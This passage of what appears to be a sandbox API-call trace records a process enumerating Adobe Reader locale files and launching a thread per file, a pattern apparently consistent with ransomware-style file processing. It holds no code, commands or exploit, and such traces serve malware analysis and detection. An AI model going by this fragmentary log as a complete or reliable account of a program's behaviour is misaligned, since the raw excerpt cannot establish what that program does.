returned 1 [0244.978] wcscmp (_String1="DigSig.CZE", _String2=".") returned 1 [0244.978] wcscmp (_String1="DigSig.CZE", _String2="..") returned 1 [0244.978] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x43183ee0 [0244.979] wcscpy (in: _Dest=0x43183ee0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ" [0244.979] wcscat (in: _Dest=0x43183ee0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\" [0244.979] wcscat (in: _Dest=0x43183ee0, _Source="DigSig.CZE" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\DigSig.CZE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\DigSig.CZE" [0244.979] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43183ee0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5f8 [0244.979] FindNextFileW (in: hFindFile=0x1cd9dd30, lpFindFileData=0x1ce1e200 | out: lpFindFileData=0x1ce1e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83209c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4600, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVA.CZE", cAlternateFileName="")) returned 1 [0244.979] wcscmp (_String1="DVA.CZE", _String2=".") returned 1 [0244.979] wcscmp (_String1="DVA.CZE", _String2="..") returned 1 [0244.979] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x43182cc0 [0244.980] wcscpy (in: _Dest=0x43182cc0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ" [0244.980] wcscat (in: _Dest=0x43182cc0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\" [0244.980] wcscat (in: _Dest=0x43182cc0, _Source="DVA.CZE" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\DVA.CZE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\DVA.CZE" [0244.980] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43182cc0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d30 [0244.981] FindNextFileW (in: hFindFile=0x1cd9dd30, lpFindFileData=0x1ce1e200 | out: lpFindFileData=0x1ce1e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8327c060, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBook.CZE", cAlternateFileName="")) returned 1 [0244.981] wcscmp (_String1="eBook.CZE", _String2=".") returned 1 [0244.981] wcscmp (_String1="eBook.CZE", _String2="..") returned 1 [0244.981] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x43183800 [0244.981] wcscpy (in: _Dest=0x43183800, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ" [0244.981] wcscat (in: _Dest=0x43183800, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\" [0244.981] wcscat (in: _Dest=0x43183800, _Source="eBook.CZE" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\eBook.CZE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\eBook.CZE" [0244.981] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43183800, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1be4 [0244.983] FindNextFileW (in: hFindFile=0x1cd9dd30, lpFindFileData=0x1ce1e200 | out: lpFindFileData=0x1ce1e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83209c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="EScript.CZE", cAlternateFileName="")) returned 1 [0244.983] wcscmp (_String1="EScript.CZE", _String2=".") returned 1 [0244.983] wcscmp (_String1="EScript.CZE", _String2="..") returned 1 [0244.983] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x92) returned 0x43182720 [0244.983] wcscpy (in: _Dest=0x43182720, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ" [0244.983] wcscat (in: _Dest=0x43182720, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\" [0244.983] wcscat (in: _Dest=0x43182720, _Source="EScript.CZE" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\EScript.CZE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\EScript.CZE" [0244.983] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43182720, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2330 [0244.997] FindNextFileW (in: hFindFile=0x1cd9dd30, lpFindFileData=0x1ce1e200 | out: lpFindFileData=0x1ce1e200*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83209c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA32.CZE", cAlternateFileName="")) returned 1 [0244.997] wcscmp (_String1="IA32.CZE", _String2=".") returned 1 [0244.997] wcscmp (_String1="IA32.CZE", _String2="..") returned 1 [0244.997] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8c) returned 0x431840c0 [0244.997] wcscpy (in: _Dest=0x431840c0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ" [0244.997] wcscat (in: _Dest=0x431840c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\" [0244.998] wcscat (in: _Dest=0x431840c0, _Source="IA32.CZE" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\IA32.CZE") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\IA32.CZE" [0244.998] CreateThread (lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431840c0, dwCreationFlags=0x0, lpThreadId=0x0) Thread: id = 4021 os_tid = 0xdb0 [0244.335] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7e) returned 0x1ced3220 [0244.335] wcscpy (in: _Dest=0x1ced3220, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK" [0244.335] wcscat (in: _Dest=0x1ced3220, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" [0244.335] wcscat (in: _Dest=0x1ced3220, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\*") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\*" [0244.335] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce1e950 [0244.335] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\*", lpFindFileData=0x1ce1e950 | out: lpFindFileData=0x1ce1e950*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9d250 [0244.727] wcscmp (_String1=".", _String2=".") returned 0 [0244.727] FindNextFileW (in: hFindFile=0x1cd9d250, lpFindFileData=0x1ce1e950 | out: lpFindFileData=0x1ce1e950*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d723420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82fce7a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82fce7a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0244.728] wcscmp (_String1="..", _String2=".") returned 1 [0244.728] wcscmp (_String1="..", _String2="..") returned 0 [0244.728] FindNextFileW (in: hFindFile=0x1cd9d250, lpFindFileData=0x1ce1e950 | out: lpFindFileData=0x1ce1e950*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa600, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.DAN", cAlternateFileName="ACCESS~1.DAN")) returned 1 [0244.728] wcscmp (_String1="accessibility.DAN", _String2=".") returned 1 [0244.728] wcscmp (_String1="accessibility.DAN", _String2="..") returned 1 [0244.728] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x43131fe0 [0244.728] wcscpy (in: _Dest=0x43131fe0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK" [0244.728] wcscat (in: _Dest=0x43131fe0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" [0244.728] wcscat (in: _Dest=0x43131fe0, _Source="accessibility.DAN" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\accessibility.DAN") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\accessibility.DAN" [0244.865] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43131fe0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x54c [0244.866] FindNextFileW (in: hFindFile=0x1cd9d250, lpFindFileData=0x1ce1e950 | out: lpFindFileData=0x1ce1e950*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82caeac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x64600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acroform.DAN", cAlternateFileName="")) returned 1 [0244.866] wcscmp (_String1="Acroform.DAN", _String2=".") returned 1 [0244.866] wcscmp (_String1="Acroform.DAN", _String2="..") returned 1 [0244.866] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x431c8520 [0244.866] wcscpy (in: _Dest=0x431c8520, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK" [0244.866] wcscat (in: _Dest=0x431c8520, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" [0244.866] wcscat (in: _Dest=0x431c8520, _Source="Acroform.DAN" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Acroform.DAN") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Acroform.DAN" [0244.866] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431c8520, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xaec [0244.867] FindNextFileW (in: hFindFile=0x1cd9d250, lpFindFileData=0x1ce1e950 | out: lpFindFileData=0x1ce1e950*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801fc020, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCollabSync.DAN", cAlternateFileName="ADOBEC~1.DAN")) returned 1 [0244.867] wcscmp (_String1="AdobeCollabSync.DAN", _String2=".") returned 1 [0244.867] wcscmp (_String1="AdobeCollabSync.DAN", _String2="..") returned 1 [0244.867] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x1cebf580 [0244.867] wcscpy (in: _Dest=0x1cebf580, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK" [0244.867] wcscat (in: _Dest=0x1cebf580, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" [0244.867] wcscat (in: _Dest=0x1cebf580, _Source="AdobeCollabSync.DAN" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\AdobeCollabSync.DAN") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\AdobeCollabSync.DAN" [0244.868] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1cebf580, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16b4 [0244.868] FindNextFileW (in: hFindFile=0x1cd9d250, lpFindFileData=0x1ce1e950 | out: lpFindFileData=0x1ce1e950*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82db9460, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x76400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.DAN", cAlternateFileName="")) returned 1 [0244.868] wcscmp (_String1="Annots.DAN", _String2=".") returned 1 [0244.868] wcscmp (_String1="Annots.DAN", _String2="..") returned 1 [0244.868] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x431883e0 [0244.869] wcscpy (in: _Dest=0x431883e0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK" [0244.869] wcscat (in: _Dest=0x431883e0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" [0244.869] wcscat (in: _Dest=0x431883e0, _Source="Annots.DAN" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Annots.DAN") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Annots.DAN" [0244.869] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431883e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x20d8 [0244.869] FindNextFileW (in: hFindFile=0x1cd9d250, lpFindFileData=0x1ce1e950 | out: lpFindFileData=0x1ce1e950*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820558a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3400, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRdlang32.DAN", cAlternateFileName="BRDLAN~1.DAN")) returned 1 [0244.869] wcscmp (_String1="BRdlang32.DAN", _String2=".") returned 1 [0244.870] wcscmp (_String1="BRdlang32.DAN", _String2="..") returned 1 [0244.870] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x96) returned 0x43188340 [0244.870] wcscpy (in: _Dest=0x43188340, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK" [0244.870] wcscat (in: _Dest=0x43188340, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" [0244.870] wcscat (in: _Dest=0x43188340, _Source="BRdlang32.DAN" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\BRdlang32.DAN") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\BRdlang32.DAN" [0244.870] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43188340, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1594 [0244.871] FindNextFileW (in: hFindFile=0x1cd9d250, lpFindFileData=0x1ce1e950 | out: lpFindFileData=0x1ce1e950*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82cd4c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1de00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkers.DAN", cAlternateFileName="")) returned 1 [0244.871] wcscmp (_String1="Checkers.DAN", _String2=".") returned 1 [0244.871] wcscmp (_String1="Checkers.DAN", _String2="..") returned 1 [0244.871] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x431882a0 [0244.871] wcscpy (in: _Dest=0x431882a0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK" [0244.871] wcscat (in: _Dest=0x431882a0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" [0244.871] wcscat (in: _Dest=0x431882a0, _Source="Checkers.DAN" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Checkers.DAN") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\Checkers.DAN" [0244.871] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x431882a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16d8 [0244.872] FindNextFileW (in: hFindFile=0x1cd9d250, lpFindFileData=0x1ce1e950 | out: lpFindFileData=0x1ce1e950*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82caeac0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1f200, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigSig.DAN", cAlternateFileName="")) returned 1 [0244.872] wcscmp (_String1="DigSig.DAN", _String2=".") returned 1 [0244.872] wcscmp (_String1="DigSig.DAN", _String2="..") returned 1 [0244.872] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x43187b20 [0244.872] wcscpy (in: _Dest=0x43187b20, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK" [0244.872] wcscat (in: _Dest=0x43187b20, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" [0244.872] wcscat (in: _Dest=0x43187b20, _Source="DigSig.DAN" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\DigSig.DAN") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\DigSig.DAN" [0244.872] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43187b20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1db8 [0244.874] FindNextFileW (in: hFindFile=0x1cd9d250, lpFindFileData=0x1ce1e950 | out: lpFindFileData=0x1ce1e950*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82cd4c20, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVA.DAN", cAlternateFileName="")) returned 1 [0244.874] wcscmp (_String1="DVA.DAN", _String2=".") returned 1 [0244.874] wcscmp (_String1="DVA.DAN", _String2="..") returned 1 [0244.874] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x43187a80 [0244.874] wcscpy (in: _Dest=0x43187a80, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK" [0244.874] wcscat (in: _Dest=0x43187a80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\" [0244.874] wcscat (in: _Dest=0x43187a80, _Source="DVA.DAN" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\DVA.DAN") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\da_DK\\DVA.DAN" [0244.874] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x43187a80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1dc4 [0244.875] FindNextFileW (in: hFindFile=0x1cd9d250, lpFindFileData=0x1ce1e950 | out: lpFindFileData=0x1ce1e950*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82e519e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBook.DAN", cAlternateFileName="")) returned 1 [0244.875] wcscmp (_String1="eBook.DAN", _String2=".") returned 1 [0244.875] wcscmp (_String1="eBook.DAN", _String2="..") returned 1 [0244.875] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x431879e0 [0244.875] wcscpy (in: 